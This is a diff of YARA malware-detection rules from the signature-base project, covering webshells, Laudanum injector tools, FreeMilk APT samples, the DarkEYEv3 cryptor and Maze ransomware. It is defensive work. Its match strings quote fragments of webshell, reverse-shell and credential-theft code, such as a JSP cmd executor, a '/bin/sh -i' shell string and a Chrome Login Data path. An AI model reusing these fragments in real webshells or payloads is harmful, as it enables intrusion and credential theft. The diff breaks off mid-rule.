+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fd498c8b195967db01f68776ff5e36a06c9dfbfe"
+		logic_hash = "53caad87d22b5f13e5b7be8720baa1d436cc57d8062ec5d557df8524a2ccfb68"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "print \"\\n\".'Tip: to view the file \"as is\" - open the page in <a href=\"'.Dx"
-		$s2 = "$DEF_PORTS=array (1=>'tcpmux (TCP Port Service Multiplexer)',2=>'Management Util"
-		$s3 = "$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = $_SERVER['HTTP"
+		$s1 = "public function __activate()" fullword ascii
+		$s2 = "register_activation_hook(__FILE__, array('WP_Laudanum', 'activate'));" fullword ascii
 
 	condition:
-		1 of them
+		filesize <5KB and all of them
 }
-rule SIGNATURE_BASE_Csh_Php_Php
+rule SIGNATURE_BASE_Php_File : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file csh.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "da691516-d6c9-5c4b-85c3-f1cd7fc96ae7"
-		date = "2023-12-05"
+		description = "Laudanum Injector Tools - file file.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "68456891-6828-5e42-b8a0-67ecaf83cdc0"
+		date = "2015-06-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3998-L4011"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "194a9d3f3eac8bc56d9a7c55c016af96"
-		logic_hash = "2a74e06a9fd59d7a577041b49403738904239fb011f9bfe2fb665165991b9c98"
+		reference = "http://laudanum.inguardians.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_laudanum_webshells.yar#L244-L260"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7421d33e8007c92c8642a36cba7351c7f95a4335"
+		logic_hash = "85c14a9c8a6aece231b1cb6dcdd7ed39fdc6aced868c34557ee2e2204ce7007b"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = ".::[c0derz]::. web-shell"
-		$s1 = "http://c0derz.org.ua"
-		$s2 = "vint21h@c0derz.org.ua"
-		$s3 = "$name='63a9f0ea7bb98050796b649e85481845';//root"
+		$s1 = "$allowedIPs =" fullword ascii
+		$s2 = "<a href=\"<?php echo $_SERVER['PHP_SELF']  ?>\">Home</a><br/>" fullword ascii
+		$s3 = "$dir  = isset($_GET[\"dir\"])  ? $_GET[\"dir\"]  : \".\";" fullword ascii
+		$s4 = "$curdir .= substr($curdir, -1) != \"/\" ? \"/\" : \"\";" fullword ascii
 
 	condition:
-		1 of them
+		filesize <10KB and all of them
 }
-rule SIGNATURE_BASE_Phpinj_Php_Php
+rule SIGNATURE_BASE_Warfiles_Cmd : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file pHpINJ.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "7bf54ef4-a3d8-51c6-8db7-bf8947e992ed"
-		date = "2023-12-05"
+		description = "Laudanum Injector Tools - file cmd.jsp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f974255b-cfbe-57b0-af1f-eddb7f12f5ed"
+		date = "2015-06-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4012-L4024"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d7a4b0df45d34888d5a09f745e85733f"
-		logic_hash = "5d39fd31cdaae7765267ce8a35a2fdcf86e7f0de40d4f303fb0f219c0fc04e40"
+		reference = "http://laudanum.inguardians.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_laudanum_webshells.yar#L262-L278"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3ae3d837e7b362de738cf7fad78eded0dccf601f"
+		logic_hash = "64724b24d9f5b5d78e231ea8196abb609237cc430c49f6ceeb99c9684a904568"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "News Remote PHP Shell Injection"
-		$s3 = "Php Shell <br />" fullword
-		$s4 = "<input type = \"text\" name = \"url\" value = \""
+		$s1 = "Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));" fullword ascii
+		$s2 = "out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<BR>\");" fullword ascii
+		$s3 = "<FORM METHOD=\"GET\" NAME=\"myform\" ACTION=\"\">" fullword ascii
+		$s4 = "String disr = dis.readLine();" fullword ascii
 
 	condition:
-		2 of them
+		filesize <2KB and all of them
 }
-rule SIGNATURE_BASE_Sig_2008_Php_Php
+rule SIGNATURE_BASE_Asp_Dns : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file 2008.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "bfa3caa9-70a5-536b-a887-58427eee43df"
-		date = "2023-12-05"
+		description = "Laudanum Injector Tools - file dns.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b0e30ca0-7163-5731-98c5-5a1893b8ea80"
+		date = "2015-06-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4025-L4038"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3e4ba470d4c38765e4b16ed930facf2c"
-		logic_hash = "a437dc3dc836e93c7a691f7a000c4a4ae574ba95b3a216394ba42538beb9c0f7"
+		reference = "http://laudanum.inguardians.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_laudanum_webshells.yar#L280-L296"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5532154dd67800d33dace01103e9b2c4f3d01d51"
+		logic_hash = "808e879238a0c24e975c260fc95c05c91bdc0f73553a241bd00f5bf7e6622639"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Codz by angel(4ngel)"
-		$s1 = "Web: http://www.4ngel.net"
-		$s2 = "$admin['cookielife'] = 86400;"
-		$s3 = "$errmsg = 'The file you want Downloadable was nonexistent';"
+		$s1 = "command = \"nslookup -type=\" & qtype & \" \" & query " fullword ascii
+		$s2 = "Set objCmd = objWShell.Exec(command)" fullword ascii
+		$s3 = "Response.Write command & \"<br>\"" fullword ascii
+		$s4 = "<form name=\"dns\" method=\"POST\">" fullword ascii
 
 	condition:
-		1 of them
+		filesize <21KB and all of them
 }
-rule SIGNATURE_BASE_Ak74Shell_Php_Php
+rule SIGNATURE_BASE_Php_Reverse_Shell_2 : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file ak74shell.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "eaf243cb-fa26-5f34-a724-60a08acff636"
-		date = "2023-12-05"
+		description = "Laudanum Injector Tools - file php-reverse-shell.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f10cc33e-0cb6-5d08-af1f-5ef76368de9d"
+		date = "2015-06-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4039-L4051"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7f83adcb4c1111653d30c6427a94f66f"
-		logic_hash = "64eb7e72679fc9ee81af6f46d0ab604357710716b93b1ddfaebc5596c968fce8"
+		reference = "http://laudanum.inguardians.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_laudanum_webshells.yar#L298-L312"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "025db3c3473413064f0606d93d155c7eb5049c42"
+		logic_hash = "695dc565c273ed358f7d56526fa4956ba13b216d8897d0707e1660a82b745081"
 		score = 75
-		quality = 60
-		tags = ""
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "$res .= '<td align=\"center\"><a href=\"'.$xshell.'?act=chmod&file='.$_SESSION["
-		$s2 = "AK-74 Security Team Web Site: www.ak74-team.net"
-		$s3 = "$xshell"
+		$s1 = "$process = proc_open($shell, $descriptorspec, $pipes);" fullword ascii
+		$s7 = "$shell = 'uname -a; w; id; /bin/sh -i';" fullword ascii
 
 	condition:
-		2 of them
+		filesize <10KB and all of them
 }
-rule SIGNATURE_BASE_Rem_View_Php_Php
+rule SIGNATURE_BASE_Laudanum_Tools_Generic : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file Rem View.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "6137434c-89e9-537b-9b26-b56178022b76"
-		date = "2023-12-05"
+		description = "Laudanum Injector Tools"
+		author = "Florian Roth (Nextron Systems)"
+		id = "15738788-5f34-54d0-92fe-f7024c998a54"
+		date = "2015-06-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4052-L4064"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "29420106d9a81553ef0d1ca72b9934d9"
-		logic_hash = "bcd5c86e793748ffe0ce4415ee68101e8183e1f97477b49843938d254f08695a"
+		reference = "http://laudanum.inguardians.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_laudanum_webshells.yar#L314-L345"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "52c6d3be4fc91e8a61645886fa89bf78eddad51960702ff2ac83ec01d5d529ef"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "076aa781a004ecb2bf545357fd36dcbafdd68b1a"
+		hash1 = "885e1783b07c73e7d47d3283be303c9719419b92"
+		hash2 = "01d5d16d876c55d77e094ce2b9c237de43b21a16"
+		hash3 = "7421d33e8007c92c8642a36cba7351c7f95a4335"
+		hash4 = "f49291aef9165ee4904d2d8c3cf5a6515ca0794f"
+		hash5 = "c0dee56ee68719d5ec39e773621ffe40b144fda5"
+		hash6 = "f32b9c2cc3a61fa326e9caebce28ef94a7a00c9a"
+		hash7 = "dc5c03a21267d024ef0f5ab96a34e3f6423dfcd6"
+		hash8 = "fd498c8b195967db01f68776ff5e36a06c9dfbfe"
+		hash9 = "b50ae35fcf767466f6ca25984cc008b7629676b8"
+		hash10 = "5570d10244d90ef53b74e2ac287fc657e38200f0"
+		hash11 = "42bcb491a11b4703c125daf1747cf2a40a1b36f3"
+		hash12 = "83e4eaaa2cf6898d7f83ab80158b64b1d48096f4"
+		hash13 = "dec7ea322898690a7f91db9377f035ad7072b8d7"
+		hash14 = "a2272b8a4221c6cc373915f0cc555fe55d65ac4d"
+		hash15 = "588739b9e4ef2dbb0b4cf630b73295d8134cc801"
+		hash16 = "43320dc23fb2ed26b882512e7c0bfdc64e2c1849"
 
 	strings:
-		$s0 = "$php=\"/* line 1 */\\n\\n// \".mm(\"for example, uncomment next line\").\""
-		$s2 = "<input type=submit value='\".mm(\"Delete all dir/files recursive\").\" (rm -fr)'"
-		$s4 = "Welcome to phpRemoteView (RemView)"
+		$s1 = "***  laudanum@secureideas.net" fullword ascii
+		$s2 = "*** Laudanum Project" fullword ascii
 
 	condition:
-		1 of them
+		filesize <60KB and all of them
 }
-rule SIGNATURE_BASE_Java_Shell_Js
+import "pe"
+
+rule SIGNATURE_BASE_Freemilk_APT_Mal_1 : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file Java Shell.js.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "eff52c3a-fc3a-5e80-8da9-786168159ebc"
-		date = "2023-12-05"
+		description = "Detects malware from FreeMilk campaign"
+		author = "Florian Roth (Nextron Systems)"
+		id = "eff37dba-d4a9-5e3d-9452-49f04ddcbe0b"
+		date = "2017-10-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4065-L4077"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "36403bc776eb12e8b7cc0eb47c8aac83"
-		logic_hash = "f312298ac30ab57b21222a529b1566b9a66909806e4bc88120ac3992cfd3c6fb"
+		reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_freemilk.yar#L13-L39"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d66feceb01ecdd84345def58270a8788b563c99a7efadf9a3049c5fbbbd15da8"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "34478d6692f8c28332751b31fd695b799d4ab36a8c12f7b728e2cb99ae2efcd9"
+		hash2 = "35273d6c25665a19ac14d469e1436223202be655ee19b5b247cb1afef626c9f2"
+		hash3 = "0f82ea2f92c7e906ee9ffbbd8212be6a8545b9bb0200eda09cce0ba9d7cb1313"
 
 	strings:
-		$s2 = "PySystemState.initialize(System.getProperties(), null, argv);" fullword
-		$s3 = "public class JythonShell extends JPanel implements Runnable {" fullword
-		$s4 = "public static int DEFAULT_SCROLLBACK = 100"
+		$x1 = "\\milk\\Release\\milk.pdb" ascii
+		$x2 = "E:\\BIG_POOH\\Project\\" ascii
+		$x3 = "Windows-KB271854-x86.exe" fullword wide
+		$s1 = "Windows-KB275122-x86.exe" fullword wide
+		$s2 = "\\wsatra.tmp" wide
+		$s3 = "%s\\Rar0tmpExtra%d.rtf" fullword wide
+		$s4 = "\"%s\" help" fullword wide
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="108aa007b3d1b4817ff4c04d9b254b39" or 1 of ($x*) or 4 of them )
 }
-rule SIGNATURE_BASE_STNC_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_Freemilk_APT_Mal_2 : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file STNC.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "8a7167f6-fa62-574f-a37c-3ceadc7f92ec"
-		date = "2023-12-05"
+		description = "Detects malware from FreeMilk campaign"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ef5f400c-16f8-5374-af16-c8530ddb87ee"
+		date = "2017-10-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4078-L4091"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2e56cfd5b5014cbbf1c1e3f082531815"
-		logic_hash = "b4118dc45ac109bde1cafda24cc103370db57c1993690f450cff828c1633af3c"
+		reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_freemilk.yar#L41-L60"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ad2cc04542e93add3e7856574d4de5aa371cc31542f87b1e90d30e12e0149341"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7f35521cdbaa4e86143656ff9c52cef8d1e5e5f8245860c205364138f82c54df"
 
 	strings:
-		$s0 = "drmist.ru" fullword
-		$s1 = "hidden(\"action\",\"download\").hidden_pwd().\"<center><table><tr><td width=80"
-		$s2 = "STNC WebShell"
-		$s3 = "http://www.security-teams.net/index.php?showtopic="
+		$s1 = "failed to take the screenshot. err: %d" fullword ascii
+		$s2 = "runsample" fullword wide
+		$s3 = "%s%02X%02X%02X%02X%02X%02X:" fullword wide
+		$s4 = "win-%d.%d.%d-%d" fullword wide
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <400KB and (pe.imphash()=="b86f7d2c1c182ec4c074ae1e16b7a3f5" or all of them )
 }
-rule SIGNATURE_BASE_Azrailphp_V1_0_Php
+import "pe"
+
+rule SIGNATURE_BASE_Freemilk_APT_Mal_3 : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file aZRaiLPhp v1.0.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "60152b96-e8d3-5b06-a855-fb64a490742b"
-		date = "2023-12-05"
+		description = "Detects malware from FreeMilk campaign"
+		author = "Florian Roth (Nextron Systems)"
+		id = "152781f0-756b-50ab-b588-4af5fa4ce419"
+		date = "2017-10-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4092-L4104"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "26b2d3943395682e36da06ed493a3715"
-		logic_hash = "4385f294e59b644fe86d8380db4f7926924eb744ad80735b78ef778d2f7e8ae0"
+		reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_freemilk.yar#L62-L78"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "be68f624a2a374525857193d27f0645be5d10c198954dd90350448c3127e4bb5"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 83
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ef40f7ddff404d1193e025081780e32f88883fa4dd496f4189084d772a435cb2"
 
 	strings:
-		$s0 = "azrailphp"
-		$s1 = "<br><center><INPUT TYPE='SUBMIT' NAME='dy' VALUE='Dosya Yolla!'></center>"
-		$s3 = "<center><INPUT TYPE='submit' name='okmf' value='TAMAM'></center>"
+		$s1 = "CMD.EXE /C \"%s\"" fullword wide
+		$s2 = "\\command\\start.exe" wide
+		$s3 = ".bat;.com;.cmd;.exe" fullword wide
+		$s4 = "Unexpected failure opening HKCR key: %d" fullword ascii
 
 	condition:
-		2 of them
+		( uint16(0)==0x5a4d and filesize <900KB and all of them )
 }
-rule SIGNATURE_BASE_Moroccan_Spamers_Ma_Edition_By_Ghost_Php
+import "pe"
+
+rule SIGNATURE_BASE_Freemilk_APT_Mal_4 : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file Moroccan Spamers Ma-EditioN By GhOsT.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "721d6e9f-a237-5462-a8d3-f838d7fda420"
-		date = "2023-12-05"
+		description = "Detects malware from FreeMilk campaign"
+		author = "Florian Roth (Nextron Systems)"
+		id = "44f919f7-8eda-5e70-88d5-9e81a761192c"
+		date = "2017-10-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4105-L4117"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d1b7b311a7ffffebf51437d7cd97dc65"
-		logic_hash = "e755e4ea467861e5217d532b161bf4c582ff71aa1e4720dfa4b75d6e8d7629d8"
+		reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_freemilk.yar#L80-L104"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "deedb1da7e3421cd300fceea354a690e22005bab16eb0cc20b46f912393b637d"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5"
 
 	strings:
-		$s0 = ";$sd98=\"john.barker446@gmail.com\""
-		$s1 = "print \"Sending mail to $to....... \";"
-		$s2 = "<td colspan=\"2\" width=\"715\" background=\"/simparts/images/cellpic1.gif\" hei"
+		$x1 = "base64Encoded=\"TVqQAAMAAAAE" ascii
+		$s1 = "SOFTWARE\\Clients\\StartMenuInternet\\firefox.exe\\shell\\open\\command" fullword wide
+		$s2 = "'Wscript.echo \"Base64 encoded: \" + base64Encoded" fullword ascii
+		$s3 = "\\Google\\Chrome\\User Data\\Default\\Login Data" ascii
+		$s4 = "outFile=sysDir&\"\\rundll32.exe\"" fullword ascii
+		$s5 = "set shell = WScript.CreateObject(\"WScript.Shell\")" fullword ascii
+		$s6 = "command =outFile &\" sysupdate\"" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <3000KB and ((pe.exports("getUpdate") and pe.number_of_exports==1) or 1 of ($x*) or 3 of them )
 }
-rule SIGNATURE_BASE_Zacosmall_Php
+rule SIGNATURE_BASE_Darkeyev3_Cryptor : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file zacosmall.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "25946aa7-7c56-5670-ae2f-c55e65a3b911"
-		date = "2023-12-05"
+		description = "Rule to detect DarkEYEv3 encrypted executables (often malware)"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a2b455e5-3021-5662-b593-c1aeeb34c226"
+		date = "2015-05-24"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4118-L4130"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5295ee8dc2f5fd416be442548d68f7a6"
-		logic_hash = "5a2125fc447344f8cc708503d9e4dd82f9b873e40ded497ef9e01974d08bf043"
-		score = 75
+		reference = "http://darkeyev3.blogspot.fi/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/generic_cryptors.yar#L2-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fdd3a9c22aebb40d000a642f2433adc7dd591784bdf2924edc3effce7bbfa5c2"
+		score = 55
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash0 = "6b854b967397f7de0da2326bdd5d39e710e2bb12"
+		hash1 = "d53149968eca654fc0e803f925e7526fdac2786c"
+		hash2 = "7e3a8940d446c57504d6a7edb6445681cca31c65"
+		hash3 = "d3dd665dd77b02d7024ac16eb0949f4f598299e7"
+		hash4 = "a907a7b74a096f024efe57953c85464e87275ba3"
+		hash5 = "b1c422155f76f992048377ee50c79fe164b22293"
+		hash6 = "29f5322ce5e9147f09e0a86cc23a7c8dc88721b9"
+		hash7 = "a0382d7c12895489cb37efef74c5f666ea750b05"
+		hash8 = "f3d5b71b7aeeb6cc917d5bb67e2165cf8a2fbe61"
 
 	strings:
-		$s0 = "rand(1,99999);$sj98"
-		$s1 = "$dump_file.='`'.$rows2[0].'`"
-		$s3 = "filename=\\\"dump_{$db_dump}_${table_d"
+		$s0 = "\\DarkEYEV3-"
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and $s0
 }
-rule SIGNATURE_BASE_Cmdasp_Asp
+rule SIGNATURE_BASE_Crime_Win32_Ransom_Maze_Dll_1 : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file CmdAsp.asp.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "79e0ba85-ed4b-5909-a2fd-9b4125598078"
-		date = "2023-12-05"
+		description = "Detects Maze ransomware payload dll unpacked"
+		author = "@VK_Intel"
+		id = "873aea2b-2dd4-5682-b979-35e73fbc189f"
+		date = "2020-04-18"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4131-L4144"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "64f24f09ec6efaa904e2492dffc518b9"
-		logic_hash = "95dc25ecd47b43edbd7e7e36966377aa09da769aff2bc1c33a7df87989611bfa"
+		reference = "https://twitter.com/VK_Intel/status/1251388507219726338"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_maze_ransomware.yar#L1-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5b76636c05141687fa5cc507ac67d6a5d1f6c89166fd302e94fe61b412451159"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		tlp = "white"
 
 	strings:
-		$s0 = "CmdAsp.asp"
-		$s1 = "Set oFileSys = Server.CreateObject(\"Scripting.FileSystemObject\")" fullword
-		$s2 = "-- Use a poor man's pipe ... a temp file --"
-		$s3 = "maceo @ dogmile.com"
+		$str1 = "Maze Ransomware" wide
+		$str2 = "--logging" wide
+		$str3 = "DECRYPT-FILES.txt" wide
+		$tick_server_call = { ff ?? ?? 8b ?? ?? ?? ?? ?? ff d6 8b ?? 89 f9 50 ff ?? ?? ff d6 8d ?? ?? ?? 89 ?? ?? ?? 56 e8 ?? ?? ?? ?? 83 c4 04 b9 67 66 66 66 89 c5 f7 e9 89 d0 d1 fa c1 e8 1f 01 c2 8d ?? ?? 29 c5 56 e8 ?? ?? ?? ?? 83 c4 04 b9 56 55 55 55 89 c6 f7 e9 89 f9 89 d0 c1 e8 1f 01 d0 8d ?? ?? 29 c6 8b ?? 55 56 ff ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 89 ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 c5 50 ff d3 89 c6 ff ?? ?? ?? ff d3 8b ?? ?? ?? 01 f0 3d ff 03 00 00 0f ?? ?? ?? ?? ?? 55 ff ?? ?? ?? 68 a2 95 c3 00 53 ff ?? ?? ?? ?? ?? 83 c4 10 c6 ?? ?? ?? c6 ?? ?? ?? ?? }
 
 	condition:
-		2 of them
